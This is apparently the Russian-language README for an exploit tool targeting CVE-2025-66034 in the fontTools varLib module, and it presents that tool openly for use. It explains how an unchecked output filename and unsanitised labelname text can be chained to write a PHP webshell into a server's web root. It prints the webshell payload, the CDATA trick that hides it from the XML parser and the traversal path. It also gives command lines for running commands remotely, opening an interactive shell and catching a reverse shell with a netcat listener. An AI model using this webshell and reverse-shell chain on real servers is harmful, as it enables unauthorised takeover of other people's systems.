
Эксплойт и документация CVE-2025-66034
fontTools — это Python-библиотека для работы с файлами шрифтов. Её модуль varLib обрабатывает файлы .designspace — XML-формат, описывающий, как несколько мастер-шрифтов должны интерполироваться для получения вариативного шрифта.
В затронутых версиях существуют две слабости:
1. Несанитизированное имя выходного файла
Атрибут <variable-font filename="..."> в файле designspace определяет, куда varLib записывает скомпилированный выходной шрифт. Библиотека не выполняет никакой проверки или нормализации этого пути перед передачей его файловой системе. Атакующий может указать абсолютный путь или последовательность обхода каталогов, чтобы записать выходной файл в любое место, доступное процессу на запись.
2. XML-содержимое передаётся в выходной файл без обработки
fontTools сериализует названия осей из элементов <labelname> непосредственно в таблицу имён выходного шрифта как сырые байты, не санитизируя содержимое. Любая строка, помещённая внутрь блока — включая PHP-код — попадает в записываемый файл дословно.
<labelname>В совокупности эти две слабости позволяют атакующему, который может отправить файл designspace на веб-endpoint на базе fontTools, записать произвольный файл с произвольным содержимым в любой доступный для записи путь на сервере.
Файл designspace содержит две инъекции.
Первая находится в элементе <labelname>:
<labelname xml:lang="en"><![CDATA[<?php system($_REQUEST["cmd"]);?>]]]]><![CDATA[>]]></labelname>
Секции CDATA в XML позволяют включать произвольные символьные данные без экранирования сущностей, но они не могут сами содержать последовательность ]]>, поскольку она завершает секцию. Закрывающий тег PHP ?> вызвал бы ошибку разбора при наивной записи. Последовательность ]]]]><![CDATA[> закрывает одну CDATA-секцию сразу после ]] и открывает новую, начинающуюся с >, поэтому итоговое отображаемое содержимое — <?php system($_REQUEST["cmd"]);?> — синтаксически корректный PHP — без единой ошибки XML-парсера.
Вторая инъекция находится в пути вывода:
<variable-font name="MyFont" filename="/var/www/app/public/files/webshell.php">
fontTools создаёт файловый дескриптор для выходного файла из этой строки без нормализации пути. Файл создаётся именно в этом месте.
varLib требует хотя бы один исходный шрифт для компиляции. Мастер не обязан быть настоящим шрифтом — минимального TTF с одним пустым глифом достаточно для прохождения проверки. Встроенный base64 TTF в этом эксплойте был сгенерирован с помощью fontTools FontBuilder и содержит только глиф .notdef с квадратным контуром и минимально необходимые таблицы (head, hhea, OS/2, cmap, glyf, hmtx, name, post).
Эксплойт отправляет designspace и TTF как POST-запрос multipart/form-data на endpoint генерации шрифтов веб-приложения. Сервер передаёт файлы в varLib.build(). varLib разбирает designspace, читает мастер, компилирует вариативный шрифт и записывает его по пути, указанному в filename= — то есть в корень веб-сервера.
Записанный файл — это бинарный файл шрифта с внедрённой PHP-нагрузкой. PHP-парсер сканирует файлы в поисках открывающих тегов, а не требует, чтобы файл целиком состоял из PHP. Когда веб-сервер обрабатывает файл как PHP, он находит <?php system($_REQUEST["cmd"]);?> и выполняет его. Всё до и после тега выводится как есть и игнорируется.
Тело ответа — это сырой бинарный файл шрифта. Вывод команды оказывается между двумя предсказуемыми маркерами, которые fontTools записывает в таблицу имён:
TestWeight400 — производное от полей семейства и класса начертания во встроенном мастер-TTF]]>ThinMEOW2 — из французского элемента <labelname> в designspaceЭксплойт вырезает ответ между этими двумя строками и удаляет остаточные XML-теги с помощью BeautifulSoup, получая чистый вывод команды.
pip install requests beautifulsoup4
Все три целевых параметра обязательны. Жёстко заданных значений по умолчанию нет.
--process-url Полный URL endpoint обработчика шрифтов
--shell-url Полный URL, по которому веб-шелл будет доступен после записи
--write-path Путь в файловой системе, по которому сервер запишет шелл
Опционально:
--session Значение cookie PHPSESSID (если портал требует аутентификацию)
--no-plant Пропустить шаг загрузки (шелл уже размещён)
--hostname Метка, отображаемая в интерактивном приглашении
python3 exploit.py \
--process-url http://app.example.com/tools/variable-font-generator/process \
--shell-url http://portal.example.com/files/webshell.php \
--write-path /var/www/portal.example.com/public/files/webshell.php \
exec 'id'
python3 exploit.py \
--process-url http://app.example.com/tools/variable-font-generator/process \
--shell-url http://portal.example.com/files/webshell.php \
--write-path /var/www/portal.example.com/public/files/webshell.php \
--session YOUR_PHPSESSID \
--hostname webserver \
interactive
Сначала запустите слушатель:
nc -lvnp 4444
Затем выполните:
python3 exploit.py \
--process-url http://app.example.com/tools/variable-font-generator/process \
--shell-url http://portal.example.com/files/webshell.php \
--write-path /var/www/portal.example.com/public/files/webshell.php \
revshell 10.10.16.1 4444
Нагрузка реверс-шелла перед передачей кодируется в base64, чтобы избежать проблем с экранированием метасимволов оболочки внутри параметра запроса cmd.
Существует в функции build() модуля varLib и в парсере designspace.